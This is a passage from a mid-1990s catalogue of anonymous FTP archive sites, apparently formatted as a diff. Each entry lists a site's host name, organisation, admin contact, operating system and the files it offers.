ftp://ftp.law.indiana.edu/ +Comment: max. 20 users +Files : mirror of ftp.cica.indiana.edu; fcrc; laser mailing list archives; + WWW + +Site : ftp.lcs.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : mintaka.lcs.mit.edu, lcs.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.lcs.mit.edu/ +Comment: directory: pub/map +Files : networking info; Ethernet-maps; RFCs; Map; telecom archive; + rec.arts.movies.reviews + +Site : ftp.leidenuniv.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : rulway.leidenuniv.nl +Admin : +Organ : Rijks Universiteit Leiden (University of Leiden), Leiden +Server : +System : Unix +URL : ftp://ftp.leidenuniv.nl/ +Comment: server is currently in test; max. 100 users +Files : Linux (kernel, Slackware, TSX-11, UK); MS-DOS (canvas, drivers, + kermit, telnet, windows, WinMosaic RUL); news.answers; Unix + +Site : ftp.let.rug.nl +Country: Netherlands +GMT : +1 +Date : 19-Feb-95 +Source : hf@adi.ka.sub.org (Ernst Hoefer) {posting} +Alias : tyr.let.rug.nl [will change!] +Admin : ton@let.rug.nl (Ton Roovers) +Organ : Rijks Universiteit Groningen (RUG, University of Groningen), + Groningen, Arts and Sciences Faculty +Server : gopher +System : Unix +URL : ftp://tyr.let.rug.nl/ +Comment: [gheta/maps/Netherlands] +Files : charon; FWF; gheta (AHC, datasets, e-docs, gifs, magazines, maps, + programs, teaching); jrbutils; Lingo (Erikt/software); Linguistics + (lots of info and some interesting images of The Netherlands); + murkworks; Pmail (program and utilities, official site and a mirror + from risc.ua.edu); Prolog applications; Trumpet + +Site : ftp.let.vu.nl +Country: Netherlands +GMT : +1 +Date : 30-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : zus.let.vu.nl +Admin : onno@let.vu.nl (Onno Huber) +Organ : Vrije Universiteit (Free University), Amsterdam, Faculty of Arts +Server : WWW: www.let.vu.nl +System : Unix (SunOS 4.1) +URL : ftp://ftp.let.vu.nl/ +Comment: just set up; mainly intended for local users +Files : Banyan; ptvr; tei + +Site : ftp.lightside.com +Country: USA +GMT : +Date : 25-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : routeboy.lightside.com +Admin : +Organ : Lightside +Server : +System : Macintosh +URL : ftp://ftp.lightside.com/ +Comment: default dir: /FTP +Files : Bolo; FTP Primer; Internet User's Manual; Mac Internet software; + MS-Windows Internet software; other Mac utilities; other + MS-Windows utilities + +Site : ftp.linux.org +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : comp.os.linux.announce +Alias : homebase.linux.org +Admin : root@homebase.linux.org, www@linux.org (WWW) +Organ : Linux +Server : www.linux.org +System : Unix (Linux, PC) +URL : ftp://ftp.linux.org/ +Comment: Official Linux distribution site +Files : Linux (distributions, kernel, mirrors, network) + +Site : ftp.lm.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : dlist@ora.com +Alias : telerama.lm.com, telerama.pgh.pa.us +Admin : +Organ : Telerama/LM, Pittsburg, Pennsylvania +Server : +System : Unix +URL : ftp://ftp.lm.com/ +Comment: +Files : Computer Privacy Digest; Interpedia; pdial + +Site : ftp.loc.gov +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : rs7.loc.gov, marvel.loc.gov +Admin : +Organ : Library of Congress, Washington, DC +Server : gopher: marvel.loc.gov (for the smaller files) +System : Unix +URL : ftp://ftp.loc.gov/ +Comment: +Files : american.memory; client software; collections services; copyright; + crs; exhibit images; Federal Library and Information Center + Comittee (flicc); folklife (Folkline); general info; iug (Internet + Users Group); Library of Congress: access (LOC Information System + (LOCIS) client software, internet, online (on-line search of LOCIS, + USMARC classification records; listproc; nls (National Library + Service); proceedings; reference guides; z3950 (Z39.50 standard) + +Site : ftp.loria.fr +Country: France +GMT : +1 +Date : 07-Jun-94 +Source : Jean-Michel.Antoine@loria.fr +Alias : mirabelle.loria.fr +Admin : ftpmaint@loria.fr +Organ : Centre de Recherche en Informatique de Nancy (CRIN-CNRS) / INRIA + Lorraine, Nancy +Server : +System : Unix (Sparc II, SunOS) +URL : ftp://ftp.loria.fr/ +Comment: max. 40 users; mirrors updated every day; supersedes anl.anl.fr +Files : Loria: info, Equipe-Projet; mirrors: Linux, Simtel20, Macintosh, + Multicast, Tex (CTAN mirror); some text document (obi, dico, + kahaner, ...) + +Site : ftp.lovesexy.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl (only a coincidence ;-) ) +Alias : mosaic.playboy.com, www.playboy.com +Admin : ftp-admin@lovesexy.com, pml-archivist@lovesexy.com (for the PML) +Organ : Playboy Enterprises Inc. & Sensual Arts Design +Server : http://www.playboy.com/ +System : Unix +URL : ftp://ftp.lovesexy.com/ +Comment: these people even have the FTP FAQ present.. they did however + rename it to how.to.ftp and deleted the header.. not very nice, but + anyway +Files : channel-guide; databases; images (not as many as some of you would + wish ;-) ); pml-library (Playboy Mailing List) + +Site : ftp.lrz-muenchen.de +Country: Germany +GMT : +1 +Date : 22-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sunserver.lrz-muenchen.de +Admin : boetsch@lrz-muenchen.de +Organ : Leibniz RechenZentrum der Bayerischen Akademie der Wissenschaften + (Leibniz Research and Super Computing Center of the Bavarian Academy + of Sciences), Munich +Server : +System : Unix +URL : ftp://ftp.lrz-muenchen.de/ +Comment: please transfer large files outside of working hours; this servers + understands REGET and other helpful features, read ... for more + information; Problem: Timeout +Files : comp (docs, math, networking, parallel, platforms, programing, + sysadmin, typesetting, usenet, X11); culture (commsci, east-asia); + science (geodesy, geology, metereology) + +Site : ftp.lsi.usp.br +Country: Brazil +GMT : -3 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : lucia.lsi.usp.br +Admin : +Organ : Universidade de Sao Paulo (University of Sao Paulo), Sao Paulo +Server : +System : Unix (SunOS 4.0) +URL : ftp://ftp.lsi.usp.br/ +Comment: +Files : gcg; images; ixec; jscad; music; netman; pentium; siggraph94; WWW + +Site : ftp.lth.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Per.Foreby@efd.lth.se; rigel.efd.lth.se +Alias : lth.se, nic.lth.se +Admin : ftp@lth.se +Organ : Lund Institute of Technology, Lund, EE & CS dept. +Server : ftpmail@lth.se (local archive only) +System : Unix +URL : ftp://ftp.lth.se/ +Comment: +Files : bind; cnews; NeWS; NNTP; Poskanzer rasterxs; sendmail + +Site : ftp.lu.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : nomina.lu.se +Admin : +Organ : Lund University, Lund +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.lu.se/ +Comment: +Files : docs; education; ftp-sites; graphics; Mac: MacPost client and server; + network; references + +Site : ftp.luna.nl +Country: Netherlands +GMT : +1 +Date : 25-Jan-95 +Source : michael@lunatech.com (Michael Pentowski) {posting} +Alias : aladdin.rotterdam.luna.nl +Admin : ftp-master@luna.co.uk +Organ : Luna Internet Access/Lunatech Research, Rotterdam, Dutch Luna archive +Server : http://www.lunatech.com/ http://www.luna.nl/ +System : Unix +URL : ftp://ftp.luna.nl/ +Comment: +Files : Mac (Internet software, utils); Windows (Internet software) + +Site : ftp.lunatech.com +Country: UK +GMT : 0 +Date : 10-Dec-94 +Source : +Alias : egon.wokingham.lunatech.com +Admin : ftp-master@luna.co.uk +Organ : Luna Internet Access/Lunatech Research +Server : http://www.luna.co.uk/ +System : Unix +URL : ftp://ftp.lunatech.com/ +Comment: +Files : Luna Internet Access info; Lunatech Research info; STAClassArchive; + Software: Mac (connectivity, games, graphics, internet, sounds), + Newton (apps, books, dev, games, system, utils), OS/2 (networking), + Windows (networking, winnfs) + +Site : ftp.luth.se +Country: Sweden +GMT : +1 +Date : 10-Sep-94 +Source : old ftp-list +Alias : olivaw.luth.se +Admin : ftp@ludd.luth.se +Organ : University of Lulee, Lulee +Server : no ftpmail at the moment +System : Unix +URL : ftp://ftp.luth.se/ +Comment: top archive of Europe; use dir or ls -Fl for faster directory + listing; read README and README.uploads; transfers are logged +Files : 386bsd; infosystems; Amiga (Aminet); demos (from ftp.uwp.edu); + FAQs; Linux; mods; OS/2; songs (from ftp.sdsu.edu); Tcl/Tk + (languages/tcl from ftp.cs.berkeley.edu); X11; X11-contrib + +Site : ftp.lysator.liu.se +Country: Sweden +GMT : +1 +Date : 10-Sep-94 +Source : old ftp-list; comics/faq/part5 +Alias : lysita.lysator.liu.se +Admin : ftp@lysator.liu.se +Organ : Linnkoping University, Linnkoping, Lysator ACS +Server : ftpserv@lysator.liu.se with 'HELP' in the body +System : Unix +URL : ftp://ftp.lysator.liu.se/ +Comment: server has special file access features: see /README +Files : abc1600; Amiga; Apollo; archivers; asl; aviation; Blake 7; comics + (Disney, see the rec.arts.comics FAQ for details); comm; daemons; + doc; dynix; emacs; emulators; europa; faces; games; gardening; + geography; GNU; gopher; HP28; HP48; ident; IRC; ispell; kiwi; + languages; libraries; Linux; LPF; LPMUD; Lysator; LysKOM; Mac; Mach; + magick; mail; marine mammals; mgr; mods; MS-DOS; net; news; NYS; + PC Eudora; PDP10; Postgres; Prime/PRIMOS; religion; rmt; rom; + runeberg; science fiction; sgml; shell; solutions; standards; Sun; + Sunview; SvenskMUD; texts; Windows NT; WWW; X11 + +Site : ftp.mantis.co.uk +Country: UK +GMT : 0 +Date : 17-Feb-94 +Source : mathew@mantis.co.uk (Snakes of Medusa) +Alias : sunforest.mantis.co.uk +Admin : admin@mantis.co.uk +Organ : Mantis Consultants Ltd. +Server : mail-server@mantis.co.uk (send mail with 'help' in the subject) +System : Unix (SPARCstation IPC) +URL : ftp://ftp.mantis.co.uk/ +Comment: 19.2 kbps connection, so be gentle; max. 2 users +Files : alt.angst; alt.atheism; atari-lynx; cryptography; pictures; russell; + utilities + +Site : ftp.maplesoft.on.ca +Country: Canada +GMT : -5 +Date : 30-Oct-94 +Source : hettler@ask.uni-karlsruhe.de (Christian Hettler) +Alias : wildecho.maplesoft.on.ca +Admin : support@maplesoft.on.ca +Organ : MapleSoft, Waterloo, Ontario +Server : +System : Unix +URL : ftp://ftp.maplesoft.on.ca/ +Comment: +Files : exprsnst; Maple; mirrors [?]; OpenMath; Theorist; tools + +Site : ftp.marcam.com +Country: USA +GMT : -5 +Date : 28-Jul-94 +Source : warren@marcam.com (Warren Lavallee) +Alias : hull.marcam.com +Admin : warren@marcam.com (Warren Lavallee) +Organ : MARCAM Corporation, Newton, Massachusetss +Server : http://www.marcam.com/home.html (WWW access) +System : Unix (SunOS) +URL : ftp://ftp.marcam.com/ +Comment: mirrors: bible (ASCII, IBM-PC DOS, Windows from + internet.spss.com); domain (ftp.rs.internic.net), some sendmail files: + UCB from (ftp.cs.berkeley.edu, UIUC from vixen.cso.uiuc.edu), + win3 from ftp.cica.indiana.edu; X11R6 from ftp.x.org; max. 25 users; + index in Filelist +Files : bible; domain; ucb-sendmail; uiuc-sendmail; Windows 3; X11R6 + +Site : ftp.marist.edu +Country: USA +GMT : +Date : 17-Jul-94 +Source : +Alias : maristb.marist.edu +Admin : +Organ : Marist +Server : +System : MUSIC/SP +URL : ftp://ftp.marist.edu/ +Comment: no password needed +Files : authors; Bush; Clinton; Gutenberg; Netmonth; Perot; REPUB-L; SAS-L; + VM-UTIL + +Site : ftp.mat.uc.pt +Country: Portugal +GMT : -1 +Date : 15-Dec-94 +Source : posting of rps@mat.uc.pt (Rui Salgueiro) in rec.arts.book.tolkien +Alias : matuc2.mat.uc.pt +Admin : +Organ : Universidade de Coimbra (University of Coimbra), Coimbra, CS dept. +Server : +System : Unix +URL : ftp://ftp.mat.uc.pt/ +Comment: Only available to Portuguese users! (user anonymous access denied + to foreigners) +Files : Tolkien jpg files; graphics images + +Site : ftp.math.ksu.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : hilbert.math.ksu.edu +Admin : help@math.ksu.edu +Organ : Kansas State University, , Kansas, Math dept. +Server : +System : +URL : ftp://ftp.math.ksu.edu/ +Comment: don't do major downloading during prime time: 07:00-18:00 Mon-Fri; + max. of 5 incoming anonymous ftp users; everything is logged +Files : SunOS 4.1.1 patches; Harpoon naval simulator scenarios; + MSDOS: util & games + +Site : ftp.math.lsa.umich.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : hettler@ask.uni-karlsruhe.de (Christian Hettler) +Alias : bailey.math.lsa.umich.edu +Admin : +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : Unix +URL : ftp://ftp.math.lsa.umich.edu/ +Comment: user public directories under /pub: clint, evola, geeb, hales, + jmilne, jrs, kevin, moy, mycroft, pgh, prattman, rauch, steve, uribe +Files : + +Site : ftp.math.niu.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : watson.math.niu.edu +Admin : admin@math.niu.edu, higgins@math.niu.edu (for Progress list and + archive) +Organ : +Server : +System : +URL : ftp://ftp.math.niu.edu/ +Comment: transfers are logged +Files : graphics related programs and files + +Site : ftp.math.okstate.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : klein.math.okstate.edu +Admin : +Organ : Oklahoma State University, , Oklahoma +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.math.okstate.edu/ +Comment: +Files : announce; archives; banach; EmTeX; GPlot; MUDS: clients, FAQ etc.; + papers; PCSoft; Schubert; WWW + +Site : ftp.math.uni-hamburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List; titz@math.uni-hamburg.de + (Martin Titz) +Alias : geomat.math.uni-hamburg.de +Admin : ftpadm@math.uni-hamburg.de +Organ : Universitaet Hamburg (University of Hamburg), Hamburg, Math dept. +Server : +System : Unix (AIX 3.2, IBM RS6000) +URL : ftp://ftp.math.uni-hamburg.de/ +Comment: directories: /pub/chess, /pub/misc/tolkien and subdirectories, + /pub/pc/game_solutions; uploads to /pub/incoming; server can + (un)compress and tar on the fly; transfers are logged; max. 10 users +Files : graph chess (daily mirror of chess.uoknor.edu); MS-DOS game + solutions; Tolkien JPG graphics files, FAQs etc.; Unix stuff (Linux) + +Site : ftp.math.uni-sb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : vieta.math.uni-sb.de +Admin : +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, Math dept. +Server : +System : +URL : ftp://ftp.math.uni-sb.de/ +Comment: +Files : + +Site : ftp.math.utah.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : csc-sun.math.utah.edu, science.utah.edu, chamberlin.math.utah.edu +Admin : ftp-bugs@math.utah.edu +Organ : University of Utah, Salt Lake City, Utah, Math dept. +Server : +System : Unix +URL : ftp://ftp.math.utah.edu/ +Comment: several index files in /pub; search for files with quote site index; + cd shorthands: bib (/pub/tex/bib), bibnet (/pub/tex/bibnet), dvi + (/pub/tex/dvi); max. 100 users; read README.archive-features for + details on compression/gzipping/tarring on the fly; uploads to + /incoming, read README.uploads +Files : awk; benchmarks; DEC Alpha; doc; elefunt; IAFA-{description, list + archive, maillists, services, siteinfo}; IBM PC; Mac; Math; mf; mg; + RFCs; SGI; Solaris; Stardent; TeX; Ultrix; uuthesis; VAX; Xdvi + +Site : ftp.mathematik.uni-ulm.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List; old ftp-list +Alias : titania.mathematik.uni-ulm.de +Admin : borchert@mathematik.uni-ulm.de (Andreas Borchert) +Organ : Universitaet Ulm (University of Ulm), Ulm, Math dept. (SAI) +Server : +System : Unix (SunOS) +URL : ftp://ftp.mathematik.uni-ulm.de/ +Comment: Large files should NOT be transfered during 7am-5pm GMT. +Files : chalisti; faw; ftp-sites; games; Modula-2; netmonth; Oberon; Phrack + +Site : ftp.maths.tcd.ie +Country: Ireland +GMT : -1 +Date : 10-Sep-94 +Source : Acorn FTP list +Alias : walton.maths.tcd.ie +Admin : archive@maths.tcd.ie +Organ : Trinity College, Dublin, Math dept. +Server : +System : Unix +URL : ftp://ftp.maths.tcd.ie/ +Comment: This site has a slow link, if you're ftping from abroad, be sure + that there's nowhere nearer; directories: /pub/acorn: + Archimedes software, /pub/incoming/acorn: Upload directory; + transfers are logged; tarring and compressing on the fly, read + README +Files : Acorn Archimedes; gna-tech; GNU; images; Irish Constitution; Latin; + Linux; Mac; Maple_demos; Maths; MS-DOS; music; NI; papers; TeX; ULAM + +Site : ftp.mathworks.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : drea@mathworks.com +Organ : Mathworks +Server : +System : Unix +URL : ftp://ftp.mathworks.com/ +Comment: tar and compress on the fly +Files : Mathworks; Matlab; product info; tech-support; toolkits + +Site : ftp.mb3.tu-chemnitz.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : ftp.informatik.uni-muenchen.de +Alias : otto.mb3.tu-chemnitz.de +Admin : Andretzky@mb3.tu-chemnitz.de +Organ : Universitaet Chemnitz (University of Chemnitz), Chemnitz +Server : +System : Unix +URL : ftp://ftp.mb3.tu-chemnitz.de/ +Comment: dir pub doesn't work, you have to cd to it first +Files : IBM PC antivirus programs (mirror from risc.ua.edu); McAfee + antivirus programs (mirror from ftp.mcafee.com); Netware; NeXT + (mirror from ftp.informatik.uni-muenchen.de); Perl (mirror from + ftp.informatik.uni-hamburg.de) + +Site : ftp.mcc.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : MIDI FTP List as posted to news.answers +Alias : cfs2.mcc.ac.uk +Admin : leblanc@mcc.ac.uk +Organ : University of Manchester/University of Manchester Institute of Science + and Technology (UMIST) +Server : +System : Unix +URL : ftp://ftp.mcc.ac.uk/ +Comment: directory: /pub/cubase; please try to avoid making large overseas + transfers during office hours +Files : 386BSD (mirrored agate.berkeley.edu); Andrew; CGU; Cubase archive; + DECUS; DJGPP; DOS; EMagic; EmTeX; GNU (mirror of prep.ai.mit.edu); + Linux (mirror of ftp.funet.fi); Mach; Mantec; Matclass; NCSA telnet; + ndr; ON-U; SG; TeX + +Site : ftp.mcmaster.ca +Country: Canada +GMT : -5 +Date : 24-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : mcmail.mcmaster.ca +Admin : +Organ : McMaster University, Hamilton, Ontario +Server : +System : Unix +URL : ftp://ftp.mcmaster.ca/ +Comment: authorized use only +Files : brahms; bw; educom; reports; software (PC networking utilities) + +Site : ftp.mcom.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : Netscape +Alias : ftp.netscape.com, ftp1.netscape.com, ftp2.mcom.com +Admin : ftp@mcom.com +Organ : Netscape Communications Corp. +Server : http://www.mcom.com/ +System : Unix +URL : ftp://ftp.mcom.com/ +Comment: mirrored on many sites, check for Netscape +Files : Netscape (WWW browser) Home site (Mac, Unix, Windows); unsupported: + mozilize (conv. Mosaic INI files to Mozilla bookmark), mozock (dll + file to use Netscape without a network for files on local disks) + +Site : ftp.mcs.com +Country: USA +GMT : -6 +Date : 19-Oct-94 +Source : dmatani@orion.it.luc.edu; falcon@mcs.com (Steven Foust) +Alias : mercury.mcs.com, ftp.mcs.net, mercury.mcs.net +Admin : postmaster@mcs.com (unless otherwise posted in specific directories) +Organ : MCSnet, Chicago, Illinois +Server : +System : Unix +URL : ftp://ftp.mcs.com/ +Comment: transfers are logged +Files : acmesoft; AKCS; Books & Bytes; copyright; Dell software; Mac: + Packet, Packrat utils; MCSnet info; MS-Windows Winsock archive; + NeXT; user sponsored ftp-directories in /mcsnet.users: damir: + Croatia and Bosnia related material, falcon/add (Att'n Deficit + Disorder mirror for the CompuServe ADD forum libraries, + falcon/addult.news (ADDult News Online magazine archive site), + jorn/ascii-art (mirror of ASCII art archives) + +Site : ftp.mcs.kent.edu +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : usenet.mcs.kent.edu +Admin : system@mcs.kent.edu +Organ : Kent State University, , Ohio +Server : +System : Unix +URL : ftp://ftp.mcs.kent.edu/ +Comment: successor of snake.mcs.kent.edu +Files : mods; SB+Adlib utils, programs and files + +Site : ftp.mechnet.liv.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : roysan@liverpool.ac.uk (Roy Coates) +Alias : gateway.mechnet.liv.ac.uk +Admin : roy@mechnet.liv.ac.uk +Organ : University of Liverpool, Liverpool, Mechanical Engineering Dept. +Server : +System : Netware (Netware, PC fileserver) +URL : ftp://ftp.mechnet.liv.ac.uk/ +Comment: default directory: /APPS/ANONFTP +Files : crusher; mods; Novell utils (setuname); Pascal; patches; PC demos; + Phrack; viewers; Wing + +Site : ftp.med.nyu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : mcrcr6.med.nyu.edu +Admin : +Organ : New York University, New York, New York, Medical Center +Server : +System : VAX/VMS running MultiNet +URL : ftp://ftp.med.nyu.edu/ +Comment: default directory: MCRCR6$DKA100:[USERS.ANONYMOUS]; mostly Macintosh + related files +Files : AFP resource; AWB; binhex; GCG docs; gopher; IMR; MDPP; Mosaic2; + MS-DOS; tidbits; VAX info; WWW + +Site : ftp.meer.net +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : mcstout@netcom.com (Mark C Stout) {posting} +Alias : meer.net +Admin : +Organ : MeerNet +Server : +System : Unix +URL : ftp://ftp.meer.net/ +Comment: +Files : Mac; NetScape + +Site : ftp.mei.co.jp +Country: Japan +GMT : +9 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : oskgate0.mei.co.jp +Admin : +Organ : MEI +Server : +System : Unix +URL : ftp://ftp.mei.co.jp/ +Comment: [.X directories, X is a number, needs to be checked ][!] +Files : + +Site : ftp.metrics.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : metrics.metrics.com +Admin : tomh@metrics.com +Organ : Software Metrics +Server : +System : Unix +URL : ftp://ftp.metrics.com/ +Comment: no upload directory available +Files : archive (newsgroup archives); auto (Audi, Audi Quattro, Formula One, + Indy Car, Racetrak, VW); MS-Windows FAQs; pub: client, Mad About + You, pkzip 2.04g, ripb61nt, wincd + +Site : ftp.metronet.com +Country: USA +GMT : +Date : 23-Aug-94 +Source : mail by chip@chinacat.unicom.com (Chip Rosenthal) to faq-maintainers +Alias : feenix.metronet.com, softmodem.whnet.com, gopher.whnet.com +Admin : +Organ : MetroNet +Server : gopher.metronet.com, www.metronet.com +System : Unix +URL : ftp://ftp.metronet.com/ +Comment: +Files : comp.newprod archives; info; isbister; kira; Mac off-line; + missionnet; ntfn; perl; wolfgang (same material as on + ftp.whnet.com); xfer + +Site : ftp.mfi.com +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : pkane@nfesc.navy.mil (Pat Kane) +Alias : whiz.mfi.com +Admin : +Organ : Miller Freeman +Server : +System : Unix +URL : ftp://ftp.mfi.com/ +Comment: transfers are logged +Files : cadence (magazine, code for AutoCAD users); gamedev; keyboard; PC; + source; Unix-review + +Site : ftp.michnet.net +Country: USA +GMT : -5 +Date : 23-May-94 +Source : old ftp-list +Alias : nic.merit.edu, nis.nsf.net +Admin : +Organ : Michigan Education & Research Infrastructure Triad/National + Science Foundation, , Michigan +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.michnet.net/ +Comment: probably the successor of nnsc.nsf.net +Files : Acceptable Use Policies; cise; conference proceedings; docs; IETF; + Internet Info; Internet-drafts; internet-monthly report; + Introducing the Internet; maps; Merit's Internet Cruise; Michnet + info; newsletters; NFSNET Link Letter, statistics, maps; NREN info; + OMB; resources; RFCs; statistics; working groups; X11R6 + +Site : ftp.microsoft.com +Country: USA +GMT : -5 +Date : 20-Apr-94 +Source : old ftp-list +Alias : gowinnt.microsoft.com +Admin : csftpad@microsoft.com, each area has a contact alias +Organ : Microsoft Corp., Internet Support Server +Server : +System : MS-Windows NT (PC) +URL : ftp://ftp.microsoft.com/ +Comment: directories: Advsys, DESKAPPS, DEVCAST, DEVTOOLS, MSDN, MSFT, + Softlib; DOS 6.2 is NO LONGER AVAILABLE because of a legal + conflict between MS and Stac +Files : Microsoft utilities and updates: Developer Relations Group, Lan + Manager, Windows NT, MS Mail, SQL Server + +Site : ftp.midnight.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : midnight.com, midnight.midnight.com +Admin : admin@midnight.com (not for the Legal List) +Organ : Midnight Networks Inc. +Server : +System : Unix +URL : ftp://ftp.midnight.com/ +Comment: directory: /pub/LegalList; sessions are logged +Files : Legal List (info@justice.eliot.me.us, Erik Heels); Midnight; TickTalk; + Xmultibiff + +Site : ftp.mii.lu.lv +Country: Latvia +GMT : +2 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : kristin.cclu.lv +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.mii.lu.lv/ +Comment: +Files : GNU; graphics; Internet; Latvian; Mac; MS-DOS; Mosaic; OS/2; Unix + +Site : ftp.morningstar.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : remora.morningstar.com +Admin : +Organ : Morning Star Technologies, , +Server : +System : Unix +URL : ftp://ftp.morningstar.com/ +Comment: +Files : C++; Express (Link, Plus); Interop93Spring; netinfo; nslookup; papers; + PPP (staging, wg-drafts); press-releases; PSI; RFCs; SIP (wg-drafts); + SCO Unix tools; snaplink; SNMP; X.25; ZIP + +Site : ftp.mpd.co.za +Country: South Africa +GMT : 0 +Date : 10-Sep-94 +Source : MODERXX.ZIP +Alias : unisup2.mpd.co.za +Admin : aris@mpd.co.za (Aris Stathakis) +Organ : M+PD, Johannesburg +Server : +System : Unix +URL : ftp://ftp.mpd.co.za/ +Comment: max. 5 users (short on bandwidth); if you want patches for other + M+PD products, mail the admin; if you find this site useful, mail + the admin so he can justify the cost of maintaining it; descriptive + directory listing +Files : Borland (mirror of ftp.borland.com); Chase Research Supplements; + Epson Printer Drivers; Fujitsu Printer Drivers; garbo.uwasa.fi + mirror (of /pub/pc); GIFs; HugSoft demo; Intel Networking Produtcs + (mirror of ftp.intel.com); Linux (Slackware); M+PD patches; + Novell (mirror of ftp.novell.com); Racal Interlan Network Adapters; + RSA (Republic of South Africa) files; SCO specific files; text + files; Unix BBS programs; Xircom (Xircom adapters drivers and utils) + +Site : ftp.mpgn.com +Country: USA +GMT : -5 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : ambassador.mpgn.com +Admin : +Organ : Multi-Player Games Network +Server : +System : Unix +URL : ftp://ftp.mpgn.com/ +Comment: fantasy gaming portion is temporarily unavailable +Files : gaming (ADND, fantasy, Hero, HomeBrew, Traveller, utilities, + Warhammer); MPG-Net (DrakVision, EmpireBuilder, MarketGarden, + StarCruiser) + +Site : ftp.mpia-hd.mpg.de +Country: Germany +GMT : +1 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : sunsrv.mpia-hd.mpg.de +Admin : +Organ : Max Planck Institute - , +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.mpia-hd.mpg.de/ +Comment: +Files : biz; conica; GEO; isophot; proceedings; Shoemaker Levy-9; SuW; TCL + +Site : ftp.mq.edu.au +Country: Australia +GMT : +10 +Date : 16-Feb-94 +Source : theydema@laurel.ocs.mq.edu.au (Tony Heydeman); MODERxx.ZIP +Alias : [not listed] +Admin : ftp@mq.edu.au (Michael Bochner) +Organ : Macquarie University, Sydney +Server : +System : Unix (SunOS, SparcStation II) +URL : ftp://ftp.mq.edu.au/ +Comment: all transfers are logged +Files : Amiga; Linux; Mac; PC; Unix + +Site : ftp.mr.net +Country: USA +GMT : -6 +Date : 22-May-94 +Source : dlist@ora.com; old ftp-list +Alias : nic.mr.net, gopher.mr.net +Admin : +Organ : Minnesota Regional Network (MRNET) NIC, , Minnesota +Server : +System : Unix +URL : ftp://ftp.mr.net/ +Comment: Gopher: gopher.mr.net +Files : Minnesota Regional Net traffic data; NSFnet docs & reports; + NREN info; Inet reference info; some RFCs; sendmail tips; tools + +Site : ftp.mrc-apu.cam.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : sirius.mrc-apu.cam.ac.uk +Admin : +Organ : Cambridge University, Cambridge, MRC APU +Server : +System : Unix +URL : ftp://ftp.mrc-apu.cam.ac.uk/ +Comment: +Files : aim; amodeus; faces; hpr; Linux; NN; sum + +Site : ftp.ms.uky.edu +Country: USA +GMT : -5 +Date : 24-Aug-94 +Source : risner@ms.uky.edu (James Risner); old ftp-list +Alias : f.ms.uky.edu +Admin : chaney@ms.uky.edu, risner@ms.uky.edu (James Risner, PC BSD) +Organ : University of Kentucky, , Kentucky +Server : +System : Unix +URL : ftp://ftp.ms.uky.edu/ +Comment: several pub directories +Files : 7300; Amiga; Apple II; Atari; BSD; calculus; cs505; GNU; games; + graphics; images; IRC; Linux; lpnmr; Mac (incl. MacBSD); + mailinglists; MS-DOS; music; NetBSD; NeXT; NSF; primos; RFCs; + robinson; sounds; statistics; tech-reports; Unix; UUCP; X11R5; + zipcodes + +Site : ftp.msc.edu +Country: US +GMT : -6 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : uc.msc.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.msc.edu/ +Comment: directory: /pub/xmol +Files : Internet drafts; kermit; 